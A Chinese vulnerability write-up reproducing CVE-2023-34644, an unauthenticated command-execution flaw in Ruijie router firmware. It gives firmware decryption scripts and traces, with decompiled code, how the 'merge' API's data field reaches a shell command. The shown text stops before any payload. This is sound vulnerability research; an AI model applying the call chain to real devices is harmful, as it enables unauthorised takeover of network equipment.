站在巨人肩膀上复现CVE-2023-34644
2024-1-16 18:7:40 Author: 看雪学苑(查看原文) 阅读量:127 收藏


前言

winmt师傅之前挖到了一个锐捷的未授权RCE漏洞,影响了该厂商下的众多路由器、交换机、中继器等设备。winmt师傅已经发布了相关的挖掘经历(https://bbs.kanxue.com/thread-277386.htm),对仿真的搭建和漏洞分析已经写的比较详细。本篇文章主要是自己对该漏洞调用链进行一个完整的梳理,以及在winmt师傅文章中未提到的部分我会进行记录。特别感谢winmt师傅在我复现期间多次解答我的各种困惑。

本文分析的固件为EW_3.0(1)B11P204_EW1200GI(已解密) 百度网盘链接:https://pan.baidu.com/s/1RutoNCTiGBiW74YpzKXfxg?pwd=vht7提取码:vht7


固件解密

上面已经提供了解密后的固件,但目前从锐捷官网下载的固件都是被加密的。此处记录一下解密的三种思路:

1.寻找过渡版本的固件,如果一个路由器型号最初版本为x001此时并没有加密 ,然后在x005版本开始对固件进行加密了。那么x004就是过渡版本的固件,为了从x004升级到x005固件,一定会在x004的文件系统里存放x005固件的解密脚本,不然路由器就无法解开x005的固件进行升级了,如果能从官网上下载到过渡版本的固件,去寻找其中的解密程序,编写一个解密脚本即可(不过就锐捷的固件而言,我并没有在官网上找到过渡版本的固件,疑似被下架了)。

2.购买真机,直接从芯片中提取文件系统(目前未尝试过)。

3.对加密后的固件直接分析,寻找一些特征或有规律的字节码,尝试编写其解密脚本。

下面对第三种思路,进行详细介绍。

EW_3.0(1)B11P219_EW1200I_10200109_install_encypto.bin固件为例(官网上可以直接下载,不再提供链接)

直接用binwalk解压是失败的。

010 Editor打开,查看文件的末尾发现存在大量重复的字节码0x80。

winmt师傅给我说通常文件末尾会填充大量的\xff或者\x00字节码,这里有大量的重复字节码0x80,猜测可能是单字节异或key得到的。尝试拿0xff0x80进行异或,得到疑似key0x7f。

用下面的脚本,读取加密固件的字节码,逐字节与0x7f进行异或,得到一个新的文件。

import sys

def jiemi(input_file, output_file):
try:
with open(input_file, 'rb') as infile:
with open(output_file, 'wb') as outfile:
byte = infile.read(1)
while byte:
byte_value = ord(byte)
xor_result = byte_value ^ 0x7f
outfile.write(bytes([xor_result]))
byte = infile.read(1)
print(f"File {input_file} successfully decrypted to {output_file}")
except Exception as e:
print(f"Error: {str(e)}")

if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python exp.py input_file output_file")
else:
input_filename = sys.argv[1]
output_filename = sys.argv[2]
jiemi(input_filename, output_filename)

可以看到binwalk成功识别了固件,并成功解压出文件系统。

拿到文件系统后,可以去寻找负责加解密的程序/usr/sbin/rg-upgrade-crypto,对二进制文件/usr/sbin/rg-upgrade-crypto进行分析可以写出解密脚本,下面是winmt师傅编写的解密脚本。

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <malloc.h>
#include <sys/stat.h>

typedef unsigned char uint8_t;
#define BYTE(x, n) (*((uint8_t *)&(x)+n))

void error_msg(char *msg)
{
puts(msg);
exit(-1);
}

int num1 = 1, num2 = 0x10001;

void decrypt(uint8_t *enc_buf, uint8_t *dec_buf, int length)
{
for (int i = 0; i < length; i++)
{
int sum = (uint8_t)num1 + (uint8_t)num2 + BYTE(num2, 1) + BYTE(num2, 2);
BYTE(num2, sizeof(num2)/sizeof(uint8_t)-1) = sum % 2;

for (int j = 0; j < 6; j++)
*((uint8_t *)&num1 + j) = *((uint8_t *)&num1 + j + 1);

uint8_t key = 0;
for (int k = 0; k < 8; k++)
key |= *((uint8_t *)&num1 + k) << k;
*(uint8_t *)(dec_buf + i) = *(uint8_t *)(enc_buf + i) ^ key;
}
}

int main(int argc, char **argv, const char **envp)
{
if (argc < 2) error_msg("Usage: ./rg-decrypt [encrypted_firmware_path]");

char *enc_path = strdup(argv[1]);
char *dec_path = malloc(strlen(argv[1]) + 0x10);
strcpy(dec_path, argv[1]);
strcat(dec_path, ".decrypted");

struct stat stat_buf;
int stat_fd = stat(enc_path, &stat_buf);
if (stat_fd < 0) error_msg("The encrypted firmware does not exist !");
int size = stat_buf.st_size;

uint8_t *enc_buf = (uint8_t *)malloc(0x1000);
uint8_t *dec_buf = (uint8_t *)malloc(0x1000);

int enc_fd = open(enc_path, O_RDONLY);
if (enc_fd < 0) error_msg("Error to open the encrypted firmware !");

int dec_fd = open(dec_path, O_WRONLY | O_CREAT, S_IREAD | S_IWRITE | S_IRGRP);
if (dec_fd < 0) error_msg("Error to create the decrypted firmware !");

if (read(enc_fd, enc_buf, 22) != 22) error_msg("Error to read from the encrypted firmware !");
size -= 22;

while(size > 0)
{
int len = size;
if (size > 0x1000) len = 0x1000;

memset(enc_buf, 0, sizeof(enc_buf));
memset(dec_buf, 0, sizeof(dec_buf));

if (read(enc_fd, enc_buf, len) != len) error_msg("Error to read from the encrypted firmware !");
decrypt(enc_buf, dec_buf, len);
if (write(dec_fd, dec_buf, len) != len) error_msg("Error to write into the decrypted firmware !");
size -= len;
}

free(enc_buf);
free(dec_buf);
close(enc_fd);
close(dec_fd);
return 0;
}

如果仔细研究下解密脚本能够发现,固件异或的key并不是一直为0x7f,在最初的几轮异或中key是在变化的,key经过几轮迭代后才变成了固定的0x7f,好在没有影响到后面的文件系统的完整性。


lua文件的调用链分析

/usr/lib/路径下存在一个lua目录,其中存放了很多lua文件。主要作用是对前端传入的数据做了一些简单处理和判断,然后将数据传递给二进制文件进一步处理。

/usr/lib/lua/luci/controller/eweb/api.lua文件中,配置了路由entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

这意味着当用户访问/api/auth路径时,将调用rpc_auth函数。在luci框架中sysauth属性控制是否需要系统级的用户认证才能访问该路由,这里的sysauth属性为false,表示无需进行系统认证即可访问。

rpc_auth函数首先引入了一些模块(代码如下),然后获取HTTP_CONTENT_LENGTH的长度是否大于1000字节,如果不大于的话会将准备HTTP响应的类型设置为application/json,下面的handle函数第一个参数_tbl传入的是luci.modules.noauth文件返回的内容,变量类型为table(该table包含了noauth文件中定义的四个函数loginsingleLoginmergecheckNet)。

function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain")
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

下面分析luci.utils.jsonrpc文件中的handle函数,它主要是把参数tbl以及报文中的method字段传入给了resolve函数。

function handle(tbl, rawsource, ...)
......
if stat then
if type(json.method) == "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end

resolve函数的作用跟它的名字一样,来解析出method字段对应的函数(报文中写成"method": "merge"具体的原因winmt师傅文章中写的很清楚),通过遍历mod(表中存储了四种方法),然后通过rawget获取表中键为path[j](也就是merge)的值并赋值给mod,此时mod就表示noauth.lua文件中的merge函数。

function resolve(mod, method)
local path = luci.util.split(method, ".")

for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end

发现代码proxy(method, json.params or {}),这表示merge函数作为参数传入给了proxy中,这里的method又传入了luci.util文件中的copcall函数。

function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
......
end

copcall函数主要是对coxpcall的一个封装。

function copcall(f, ...)
return coxpcall(f, copcall_id, ...)
end

终于在coxpcall函数内部发现调用了foldpcall(coroutine.create, f)这行代码的目的是在一个新的协程中运行函数f,因此执行到这里merge函数被触发。

function coxpcall(f, err, ...)
local res, co = oldpcall(coroutine.create, f)
......
end

下面开始分析merge函数(本篇文章只能算是对winmt师傅写的文章进行一个补充,这里不介绍为什么是调用merge函数而不是调用其他函数,就是因为在winmt师傅写的文章中已经对这部分进行了详细的介绍),该函数的内部调用了luci.modules.cmd文件中的devSta.set函数。

function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end

这个devSta.set函数的定义如下,先是调用了doParams函数对json数据进行解析,随后调用了fetch函数。

devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end

这个fetch函数在cmd.lua文件中已经定义了,这里调用了fn也就是fetch函数传入进来的model.fetch。

local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
......
end

modeldev_sta文件的返回结果,因此model.fetch实际上是dev_sta文件中的fetch函数,该函数定义如下,能够看到最后是调用了/usr/lib/lua/libuflua.so文件中的client_call函数。

function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
......
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end

IDA打开/usr/lib/lua/libuflua.so文件,并没有看到定义的client_call函数,不过发现了uf_client_call函数,猜测是程序内部进行了关联。shift+f12搜索字符串发现没看到字符串client_call(如下图)。

大概率说明IDA没有把client_call解析成字符串,而是解析成了代码。我这里用010Editor打开该文件进行搜索字符串client_call,成功搜索到后发现其地址位于0xff0处。

可以看到IDA确实是将0xff0位置的数据当做了代码来解析,选中这部分数据,按a,就能以字符串的形式呈现了。

对字符串client_call进行交叉引用,发现最终调用位置如下,luaL_registerLua中注册C语言编写的函数,它作用是将C函数添加到一个Lua模块中,使得这些C函数能够从Lua代码中被调用。

该函数的原型如下:

void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);

lua_State *LLua状态指针,代表了一个Lua解释器实例。

const char *libname:模块的名称,这个名称会在Lua中作为一个全局变量存在,存放模块的函数。

const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的C函数指针

这里重点关注第三个参数,这就说明0x1101C的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出client_call实际就定义在了sub_A00中。

sub_A00函数定义如下,可以看到最后是调用了uf_client_call函数,而在这之前的很多赋值操作如*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);,很容易能猜测到其实是在解析Lua传入的各个参数字段。在Lua的代码中uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)这里传入了多个参数,但是sub_A00函数就一个参数a1,结合的操作分析出这里是在解析参数。

int __fastcall sub_A00(int a1)
{
v13[0] = 0;
v2 = malloc(52);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 52);
v5 = 4;
*(_DWORD *)v3 = luaL_checkinteger(a1, 1);
*(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
v6 = luaL_checklstring(a1, 3, 0);
v7 = *(_DWORD *)v3;
*(_DWORD *)(v3 + 8) = v6;
if ( v7 != 3 )
{
*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
*(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
v5 = 6;
*(_BYTE *)(v3 + 40) = 1;
}
*(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
*(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
v8 = v5 + 2;
if ( *(_DWORD *)v3 )
{
if ( *(_DWORD *)v3 == 2 )
{
v8 = v5 + 3;
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
}
}
else
{
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
v8 = v5 + 4;
*(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
}
*(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
v4 = uf_client_call(v3, v13, 0);
}
......

uf_client_call函数是一个引用外部库的函数,用grep在整个文件系统搜索字符串uf_client_call,结合/usr/lib/lua/libuflua.so文件中引用的外部库进行分析,最终判断出uf_client_call函数定义在/usr/lib/libunifyframe.so。

IDA/usr/lib/libunifyframe.so文件进行分析,看到uf_client_call函数首先判断了method的类型,然后解析出报文中各字段的值,并将其键值对添加到一个JSON对象中,接着将最终处理好的JSON对象转换为JSON格式的字符串,通过uf_socket_msg_writesocket套接字进行数据传输。

int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
v5 = json_object_new_object();
......
switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2
{
case 0:
v15 = ((int (*)(void))strlen)() + 10;
......
v13 = "acConfig.%s";
goto LABEL_22;
case 1:
v14 = ((int (*)(void))strlen)() + 11;
......
v13 = "devConfig.%s";
goto LABEL_22;
case 2:
v8 = ((int (*)(void))strlen)() + 8;
......
v13 = "devSta.%s";
goto LABEL_22;
case 3:
v16 = ((int (*)(void))strlen)() + 8;
......
v13 = "devCap.%s";
goto LABEL_22;
case 4:
v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中,
json_object_object_add(v5, "method", v19);
v20 = json_object_new_object();
......
v21 = json_object_new_string(a1[2]);
json_object_object_add(v20, "module", v21);
v22 = a1[5];
if ( !v22 )
goto LABEL_35;
json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
v25 = a1[6];
if ( v25 )
{
v26 = json_object_new_string(v25);
......
json_object_object_add(v20, "remotePwd", v26);
}
if ( a1[9] )
{
......
json_object_object_add(v20, "buf", v27);
}
if ( *a1 )
{
if ( *a1 != 2 )
{
v28 = *((unsigned __int8 *)a1 + 45);
goto LABEL_58;
}
if ( *((_BYTE *)a1 + 42) )
{
v30 = json_object_new_boolean(1);
if ( v30 )
{
v31 = v20;
v32 = "execute";
goto LABEL_56;
}
}
}
else
{
if ( *((_BYTE *)a1 + 43) )
{
v29 = json_object_new_boolean(1);
if ( v29 )
json_object_object_add(v20, "force", v29);
}
if ( *((_BYTE *)a1 + 44) )
{
v30 = json_object_new_boolean(1);
if ( v30 )
{
v31 = v20;
v32 = "configId_not_change";
LABEL_56:
json_object_object_add(v31, v32, v30);
goto LABEL_57;
}
}
}
LABEL_57:
v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
if ( v28 )
{
v33 = json_object_new_boolean(1);
if ( v33 )
json_object_object_add(v20, "from_url", v33);
}
if ( *((_BYTE *)a1 + 47) )
{
v34 = json_object_new_boolean(1);
if ( v34 )
json_object_object_add(v20, "from_file", v34);
}
if ( *((_BYTE *)a1 + 48) )
{
v35 = json_object_new_boolean(1);
if ( v35 )
json_object_object_add(v20, "multi", v35);
}
if ( *((_BYTE *)a1 + 46) )
{
v36 = json_object_new_boolean(1);
if ( v36 )
json_object_object_add(v20, "not_commit", v36);
}
if ( *((_BYTE *)a1 + 40) )
{
v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
if ( v37 )
json_object_object_add(v20, "async", v37);
}
v38 = (_BYTE *)a1[3];
if ( !v38 || !*v38 )
goto LABEL_78;
v39 = json_object_new_string(v38);
json_object_object_add(v20, "data", v39);
LABEL_78:
v41 = (_BYTE *)a1[4];
if ( v41 && *v41 )
{
v42 = json_object_new_string(v41);
if ( !v42 )
{
json_object_put(v20);
json_object_put(v5);
v40 = 630;
goto LABEL_82;
}
json_object_object_add(v20, "device", v42);
}
json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对
v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
v44 = uf_socket_client_init(0);
......
v50 = strlen(v43);
uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......

既然存在uf_socket_msg_write进行数据发送,那么肯定就在一个地方在用uf_socket_msg_read函数进行数据的接收,用grep进行字符串搜索,发现/usr/sbin/unifyframe-sgi.elf文件,并且该文件还位于/etc/init.d目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个unifyframe-sgi.elf文件就是用来接收libunifyframe.so文件所发送过来的数据。


二进制文件分析

为了总结/usr/sbin/unifyframe-sgi.elf文件中调用链,同时梳理清几个线程和信号量的关系,我画了整体的调用流程图,接下来会分析下图所示的所有函数。

读取数据

/usr/sbin/unifyframe-sgi.elf文件中main函数里的uf_socket_msg_read函数开始分析(这里是该文件接收数据的最初位置,从这里开始追踪数据会比较明朗,如果单纯的从main函数逐行分析,思维会很乱)。uf_socket_msg_read(*v29, v31 + 1)该函数的第一个参数是文件描述符,第二个参数是接收数据存储的位置(具体定义可以查看/usr/lib/libunifyframe.so文件)。

下面两张图片为调试uf_socket_msg_read函数执行前后的状态。

有趣的地方在于很多字段我们没有设置,但上图能看到这些字段依然存在(只不过值是空的字符串),这意味着在数据传输过来之前有地方设置了这些字段

之后解析字段执行具体操作的两个函数分别为parse_contentadd_pkg_cmd2_task(均位于main函数),如下图:

解析数据

下图为调试到parse_content函数执行前的状态,发现参数是一个结构体地址,其存储了一些地址和数据。

下面对parse_content函数进行分析(具体分析已标在注释中)。

int __fastcall parse_content(int a1, int a2)
{
......
v3 = *(_DWORD *)(a1 + 4);
v4 = 598;
if ( !v3 )
goto LABEL_4;
v5 = json_tokener_parse(v3, a2);
v6 = v5;
if ( json_object_object_get_ex(v5, "params", &v20) != 1 )//检查了params字段是否存在值,不存在的话直接返回-1
goto LABEL_31;
if ( json_object_object_get_ex(v20, "device", &v19) == 1 && json_object_get_type(v19) == 6 )//检查了是否存在device字段是否存在值以及类型是否为string 这里的判断失败也不会返回-1,意味着这个字段是非必须的
{
v8 = (const char *)json_object_get_string(v19);
......
}
else
{
v8 = 0;
}
if ( json_object_object_get_ex(v6, "method", &v21) != 1 )//method字段也必须要存在
{
LABEL_31:
json_object_put(v6);
return -1;
}
v9 = json_object_get_string(v21);
if ( strstr(v9, "cmdArr") )//method的值不为cmdArr的话,进入else
{
......
}
else
{
......
v17 = parse_obj2_cmd(v6, v8);//进行数据解析的具体位置,v6为json对象
*v16 = v17;
if ( !v17 )
{
......
}
pkg_add_cmd(a1, v16);
v16[2] = 0;
}
json_object_put(v6);
return 0;
}

根据上面的分析可知,具体进行数据解析的位置应该是parse_obj2_cmd函数,该函数具体分析如下:

int __fastcall parse_obj2_cmd(int a1, int a2)
{
v3 = malloc(52);//创建了一个堆块,用于记录和存储接下来的各种信息,该函数最终会返回这个堆块地址
v5 = v3;
......
memset(v3, 0, 52);
if ( a2 )
*(_DWORD *)(v5 + 16) = strdup(a2);
if ( json_object_object_get_ex(a1, "module", &v46) != 1
|| (v6 = json_object_get_string(v46), (v7 = v6) == 0)
|| strcmp(v6, "esw") )//检查module字段是否存在,存在的话值是否为字符串esw,如果这两个条件有一个不满足,则进入if
{
if ( json_object_object_get_ex(a1, "method", &v46) != 1 )//解析method字段
{
......
}
v16 = json_object_get_string(v46);//获取到method的值,下面去匹配对应的操作,各种操作都对应一个数字,该数字放在了堆块的第一个指针处
v17 = v16;
if ( strstr(v16, "devSta") )
{
v18 = 2;
}
else
{
if ( strstr(v17, "acConfig") )
{
*(_DWORD *)v5 = 0;
goto LABEL_50;
}
if ( strstr(v17, "devConfig") )
{
*(_DWORD *)v5 = 1;
goto LABEL_50;
}
if ( strstr(v17, "devCap") )
{
v18 = 3;
}
else
{
if ( !strstr(v17, "ufSys") )
{
......
}
v18 = 4;
}
}
*(_DWORD *)v5 = v18;
goto LABEL_50;
}
......//此处省略了大部分代码,做的事情依然是字段解析,然后写入内存,就不逐一分析了
if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )//判断params字段中是否存在data,如果存在的话将其赋值给v37,并且检查了data的值类型,只能为object,array,string三种类型,然后将data的值放到堆块的第四个指针处 注意:报文中我并没有设置data字段,但是接收的数据在写入内存之前就被自动添加了data字段
{
v43 = json_object_get_string(v46);
if ( v43 )
{
v44 = strdup(v43);
*(_DWORD *)(v5 + 12) = v44;
if ( !v44 )
{
v9 = 561;
goto LABEL_136;
}
}
}
return v42;
}

解析后各字段的值如下:

parse_obj2_cmd函数结束后,会执行pkg_add_cmd(a1, v16),它的核心作用就是在a1这个数据结构中记录了v16的指针,使得后续操作通过a1访问到刚刚解析出来的各个字段。不过这pkg_add_cmd函数里有一个谜之操作,在这行代码中*(_DWORD *)(a1 + 92) = a2 + 13是把a2也就是v16的值加上了13存储到了a1中,而通过后续的分析得知,之后访问这个v16的堆块是通过*(a1+92)-13得到的地址。存的时候+13,访问的时候-13,这里没太理解但并不影响我们后续的分析。

具体操作

操作关键信号量

解析完成后,直接看add_pkg_cmd2_task函数的调试界面,发现参数传入的还是执行parse_content函数那个结构体地址。

add_pkg_cmd2_task函数进行分析。

int __fastcall add_pkg_cmd2_task(_DWORD *a1)
{
if ( dword_435ECC < 1001 )
{
pthread_mutex_lock(*a1 + 20);
v3 = (_DWORD *)a1[22];
v4 = v3 - 13;//当时存地址时加了13,这里又减了13,所以v4就是上面记录了解析json各字段的那个堆块地址
for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
{
if ( v4 + 13 == a1 + 22 )
{
pthread_mutex_unlock(*a1 + 20);
return 0;
}
v6 = malloc(20);
v7 = (int *)v6;
......
v10 = v6 + 4;
v7[2] = v10;
v7[1] = v10;
*v7 = (int)v4;
v7[4] = (int)(v7 + 3);
v7[3] = (int)(v7 + 3);
......
*v7 = (int)v4;
v11 = (_DWORD *)*v4;
v12 = *(_DWORD *)*v4;
if ( v12 == 3 )//这里判断v12就是前面解析method的值,因为发送的是merge(实际传入的就是devSta.set) 所以v12最终在前面被解析成了2
break;
if ( v12 == 4 )
{
gettimeofday(v4 + 5, 0);
uf_sys_handle(*(_DWORD **)*v7, v4 + 1);
LABEL_22:
gettimeofday(v4 + 7, 0);
sub_40B644(v7);
goto LABEL_23;
}
if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//虽然v12为2了,但我们的字符串是set,并不是get,所以这个if还是进不去
{
*(_DWORD *)(*v7 + 44) = 1;
sub_40B644(v7);
v8 = *v7;
v9 = 2;
goto LABEL_17;
}
sub_40B304((int **)v7);// devSta.set这个字段的话 前面的if都进不去,会触发这里的sub_40B304函数
LABEL_23:
v4 = (int *)i;
}
......
}
v1 = -1;
......
return v1;
}

sub_40B304函数最关键的作用就是过渡到sub_40B0B0。

int __fastcall sub_40B304(int **a1)
{
v2 = **a1;
if ( *(_DWORD *)v2 == 5 )//根据上图信息得知v2应该是2,这个if进不去
{
LABEL_2:
*(_BYTE *)(v2 + 48) = 1;
if ( byte_435EC9 )//这里是硬编码的1
{
v3 = a1;
v4 = (int (__fastcall *)(int **))sub_40B0B0;//将sub_40B0B0函数指针赋值给v4
return v4(v3);//此处IDA显示有些问题,其实执行的并不是这里的v4(v3)
}
LABEL_28:
v3 = a1;
v4 = sub_40B168;
return v4(v3);//上面的函数指针赋值给v4,最后调用的其实是这里的v4(v3) 调试一下就能看出来
}
v5 = *(const char **)(v2 + 20);//这里v2+20其实为remoteIp字段,因为在lua处理的时候,加上了remoteIp字段(意思是remoteIp字段有值,值为空。并非是remoteIp字段为空),所以这个v5是一个地址,指向了一个空的字符串而已(如果之前没有地方帮我们添加remoteIp字段的话,还需要自己传入一个remoteIp进来)
if ( v5 )
{
v6 = is_self_ip(v5);//传入一个指向空字符串的地址,返回值为0
v7 = *a1;
if ( !v6 )
{
v2 = *v7;
goto LABEL_2;//执行到此处进行跳转
}
v7[11] = 3;
}
}

sub_40B0B0函数中对关键的信号量进行了操作。

int __fastcall sub_40B0B0(_DWORD *a1)
{
_DWORD *v2; // $v1
_DWORD *v3; // $v1
++dword_435ECC;
pthread_mutex_lock(&unk_435E74);
v2 = (_DWORD *)dword_435DC4;
a1[3] = &cmd_task_run_head;
dword_435DC4 = (int)(a1 + 3);
a1[4] = v2;
*v2 = a1 + 3;
v3 = (_DWORD *)dword_435DB4;
a1[2] = dword_435DB4;
dword_435DB4 = (int)(a1 + 1);
a1[1] = &cmd_task_remote_head;
*v3 = a1 + 1;
pthread_mutex_unlock(&unk_435E74);
sem_post(&unk_435E90);//该函数最关键的部分就是此处sem_post对信号量unk_435E90操作
return 0;
}

uf_task_remote_pop_queue函数中的sem_wait(&unk_435E90)本身是卡住了当前线程,而sub_40B0B0这里对信号量操作一触发,deal_remote_config_handle函数就可以继续运行了,uf_task_remote_pop_queue函数结束,随后就调用了关键的uf_cmd_call函数。

void __fastcall __noreturn deal_remote_config_handle(int a1)
{
v1 = pthread_self();
pthread_detach(v1);
pthread_setcanceltype(1, 0);
prctl(15, "remote_config_handle");
while ( 1 )
{
do
{
*(_DWORD *)(a1 + 16) = 0;
v3 = uf_task_remote_pop_queue();
*(_DWORD *)(a1 + 16) = v3;
}
while ( !v3 );
......
v5 = uf_cmd_call(*v4, v4 + 1);//关键函数
......
}
}

从uf_cmd_call函数开始

uf_cmd_call函数执行的地方打上断点,c过来之后是如下界面,此时输入命令set scheduler-locking on将线程锁定(避免后续调试时,在各个线程中下的断点跳来跳去,之后只调试这一个线程)。

由于uf_cmd_call函数的代码量太长了,这里就不再出示相关代码,只调试和描述几个关键点。

首先做了if判断,检查操作类型,因为我们这里是devSta2,所以这个if进不去(调试界面如下图)。

上面的if出来后,就会做这里的判断,这里的v2devSta.set中的set部分,uf_ex_cmd_type数组里装了各种操作的字符串例如setget之类的,数组里第一个元素就是set,所以这个while进不去。

调试界面如下:

后面的执行流转折点为if(!v16)这里。

这个a1+45的位置当时解析的时候有一个标志位(如下图),但这个from_url并没有特别设置,所以这里就为0,导致进入了if(!v16),执行跳转语句goto LABEL_86。

`

if ( !v103[20] )位置的判断,这里的v103[20]其实就是data字段的值。

调试界面如下,因为!v103[20]FALSE,所以这个if进不去。

if ( !v103[7] )位置做了判断,调试可知v103[7]2,因此if这里进不去,随后直接触发goto LABEL_174goto LABEL_175。

goto LABEL_175继续往下分析,在416的位置if进不去,然后通过调试435行这里的if可以进来。

438行做的检查,判断了偏移48的位置是否为1,回顾字段解析的位置可以发现,我们是可以控制这里的值为1的(满足下图的条件即可)。

但我没控制这个字段,调试过来发现偏移48的位置仍然是1,可能是之前某处代码设置了这个位置的值(调试界面如下图),总之这个if进不去。

由于上面的if进不去,那么出来之后直接到了489行的位置,此时已经能看到接下来必定会触发ufm_handle函数(v103指向了uf_cmd_call函数的参数a1,也就是上文一直提到的存储解析字段的结构体)。

命令执行前夕

int __fastcall ufm_handle(int a1)
{
v2 = *(const char **)(a1 + 8);
v4 = *(_DWORD *)(a1 + 20);
v5 = *(_DWORD *)(a1 + 56);
if ( !v2 || !*v2 )//这里是*(a1+8) 为0,并不是(int)(*a1)+8 开始分析的时候我以为这里检查的是module字段
goto LABEL_185;//这里会跳转
v7 = 0;
if ( remote_call(*(_DWORD **)a1, (const char **)(a1 + 88)) == 2 )
{
LABEL_185:
if ( !strcmp(v5, "group_change") || !strcmp(v5, "network") || !strcmp(v5, "network_group") )//v5是module的值 为networkId_merge 因此这个if进不去
sub_40E498(v6);
v8 = strcmp(v4, "get");//v4是set
if ( !v8 )//这个if进不去
{
......
}
if ( !strcmp(v4, "set") || !strcmp(v4, "add") || !strcmp(v4, "del") || !strcmp(v4, "update") )//这里比较set是会通过检查
{
v29 = sub_40FD5C(a1);//触发关键函数
......
}

sub_40FD5C函数关键代码分析如下:

int __fastcall sub_40FD5C(int a1)
{
memset(v52, 0, sizeof(v52));
v2 = *(_BYTE **)(a1 + 80);// v2是data字段的值
if ( !v2 || !*v2 )
return -1;
v3 = *(_DWORD *)(a1 + 28);// v3是2(devSta所导致的)
v4 = v3 < 2;//因为v3是2,所以这里的判断是FALSE v4为0
if ( v3 )
{
v5 = json_object_object_get(*(_DWORD *)(a1 + 92), "sn");// 因为sn字段为空,所以下面的if进入,触发goto LABEL_45
if ( !v5 )
goto LABEL_45;
......
LABEL_45:
v3 = *(_DWORD *)(a1 + 28);
goto LABEL_46;
......
LABEL_46:
v4 = v3 < 2;
goto LABEL_47;
......
LABEL_47:
if ( v4 )//经过三次跳转后,对v4做判断,因为v4为0 会触发下面的else
{
......
}
else
{
if ( v3 != 2 )//v3是2,所以这个if进不去
{
......
}
v18 = sub_40CEAC(a1, a1 + 88, 0, 0);//触发关键函数
......
}
return v18;
}

sub_40CEAC函数的分析如下:

if ( *(_BYTE *)(*a1 + 46) )
return 0;
v5 = *(_DWORD *)(*a1 + 4);
if ( strcmp(v5, "commit") )//v5是set,这里判断的是不为commit则进入if,所以这两个if都能进入
{
if ( strcmp(v5, "init") )
{
if ( !a4 && !a1[7] )//a4是固定的0,但是a1[7]的值为2,导致了这个if进不去
{
.......
}
}
}
gettimeofday(&v90, 0);
v19 = a1[24];
if ( !*(_DWORD *)(v19 + 160) )
{
if ( !is_module_support_lua(a1[24], (int)a1) )
{
v63 = a1[20];//v63为data字段的值
if ( v63 )
v64 = strlen(v63);
else
v64 = 0;
......
if ( a3 )//a3是固定的0
{
......
}
else if ( a4 )//a4也是固定的0
{
......
}
else
{
v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));//这里其实也是正常的命令拼接 a1[5]是set,v67+8是 networkId_merge
v71 = (const char *)a1[20];//v71是data字段的值
v72 = &v66[v70];
if ( v71 )//如果data字段的值存在的话,执行下面的拼接
